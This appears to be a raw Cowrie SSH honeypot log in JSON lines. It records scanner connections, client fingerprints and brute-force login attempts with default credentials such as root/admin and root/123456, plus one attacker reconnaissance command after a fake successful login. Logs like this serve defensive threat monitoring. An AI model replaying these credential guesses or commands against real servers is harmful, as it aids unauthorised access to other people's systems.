{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:24.493828Z","src_ip":"46.19.67.181","session":"869291221ec0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.101.59.86","src_port":38216,"dst_ip":"159.203.135.109","dst_port":22,"session":"6f4815530ac5","protocol":"ssh","message":"New connection: 191.101.59.86:38216 (159.203.135.109:22) [session: 6f4815530ac5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:51.779652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:51.890206Z","src_ip":"191.101.59.86","session":"6f4815530ac5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:51.970707Z","src_ip":"191.101.59.86","session":"6f4815530ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.197.58.130","src_port":47244,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7c45e29911b","protocol":"ssh","message":"New connection: 82.197.58.130:47244 (159.203.135.109:22) [session: f7c45e29911b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:54.352421Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:54.358095Z","src_ip":"82.197.58.130","session":"f7c45e29911b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:54.513227Z","src_ip":"82.197.58.130","session":"f7c45e29911b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test123!@","message":"login attempt [root/Test123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:55.177889Z","src_ip":"82.197.58.130","session":"f7c45e29911b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"openkm","password":"openkm123","message":"login attempt [openkm/openkm123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:55.590346Z","src_ip":"191.101.59.86","session":"6f4815530ac5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:56.337278Z","src_ip":"82.197.58.130","session":"f7c45e29911b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.1","message":"Connection lost after 5.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:56.885809Z","src_ip":"191.101.59.86","session":"6f4815530ac5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.93.206.2","src_port":9978,"dst_ip":"10.17.0.5","dst_port":22,"session":"53bada8952a7","protocol":"ssh","message":"New connection: 38.93.206.2:9978 (10.17.0.5:22) [session: 53bada8952a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:59.496259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:59.504724Z","src_ip":"38.93.206.2","session":"53bada8952a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:00:59.625546Z","src_ip":"38.93.206.2","session":"53bada8952a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"230687","message":"login attempt [root/230687] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:00.165257Z","src_ip":"38.93.206.2","session":"53bada8952a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:01.605906Z","src_ip":"38.93.206.2","session":"53bada8952a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":60136,"dst_ip":"10.17.0.5","dst_port":22,"session":"3762995d20a6","protocol":"ssh","message":"New connection: 176.65.139.203:60136 (10.17.0.5:22) [session: 3762995d20a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:09.503493Z"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:10.550511Z","src_ip":"176.65.139.203","session":"3762995d20a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":60140,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f1b765ce8a7","protocol":"ssh","message":"New connection: 176.65.139.203:60140 (10.17.0.5:22) [session: 9f1b765ce8a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:10.629167Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:11.364049Z","src_ip":"176.65.139.203","session":"9f1b765ce8a7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:11.367846Z","src_ip":"176.65.139.203","session":"9f1b765ce8a7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:15.576489Z","src_ip":"176.65.139.203","session":"9f1b765ce8a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.2","message":"Connection lost after 10.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:20.865105Z","src_ip":"176.65.139.203","session":"9f1b765ce8a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":55594,"dst_ip":"10.17.0.5","dst_port":22,"session":"c08bcb5d6a80","protocol":"ssh","message":"New connection: 176.65.139.203:55594 (10.17.0.5:22) [session: c08bcb5d6a80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:20.946227Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:21.694248Z","src_ip":"176.65.139.203","session":"c08bcb5d6a80","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:21.698531Z","src_ip":"176.65.139.203","session":"c08bcb5d6a80","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:25.927872Z","src_ip":"176.65.139.203","session":"c08bcb5d6a80","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:28.253926Z","src_ip":"176.65.139.203","session":"c08bcb5d6a80","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a ; echo 'vT'","message":"CMD: uname -a ; echo 'vT'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:28.257110Z","src_ip":"176.65.139.203","session":"c08bcb5d6a80","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/0bfb21a9a2e1aaea139ba8dbb72e6ba7f6c28791c59c4dfaba7aab568d2ff0be","size":84,"shasum":"0bfb21a9a2e1aaea139ba8dbb72e6ba7f6c28791c59c4dfaba7aab568d2ff0be","duplicate":true,"duration":"1.0","message":"Closing TTY Log: var/lib/cowrie/tty/0bfb21a9a2e1aaea139ba8dbb72e6ba7f6c28791c59c4dfaba7aab568d2ff0be after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:29.290069Z","src_ip":"176.65.139.203","session":"c08bcb5d6a80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.3","message":"Connection lost after 8.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:29.295385Z","src_ip":"176.65.139.203","session":"c08bcb5d6a80","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":60156,"dst_ip":"10.17.0.5","dst_port":22,"session":"60d1c7849898","protocol":"ssh","message":"New connection: 176.65.139.203:60156 (10.17.0.5:22) [session: 60d1c7849898]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:29.371485Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:30.108394Z","src_ip":"176.65.139.203","session":"60d1c7849898","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:30.112993Z","src_ip":"176.65.139.203","session":"60d1c7849898","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456","message":"login attempt [root/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:33.612413Z","src_ip":"176.65.139.203","session":"60d1c7849898","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:35.552780Z","src_ip":"176.65.139.203","session":"60d1c7849898","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.203","src_port":51690,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1e836238434","protocol":"ssh","message":"New connection: 176.65.139.203:51690 (10.17.0.5:22) [session: e1e836238434]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:35.644741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:36.839691Z","src_ip":"176.65.139.203","session":"e1e836238434","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:36.844759Z","src_ip":"176.65.139.203","session":"e1e836238434","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"password","message":"login attempt [root/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:41.705457Z","src_ip":"176.65.139.203","session":"e1e836238434","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.152.180","src_port":38140,"dst_ip":"159.203.135.109","dst_port":22,"session":"e32a54afba0a","protocol":"ssh","message":"New connection: 31.41.152.180:38140 (159.203.135.109:22) [session: e32a54afba0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:43.648878Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:43.654272Z","src_ip":"31.41.152.180","session":"e32a54afba0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:43.769621Z","src_ip":"31.41.152.180","session":"e32a54afba0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.4","message":"Connection lost after 8.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T15:01:44.086265Z","src_ip":"176.65.139.203","session":"e1e836238434","protocol":"ssh"}
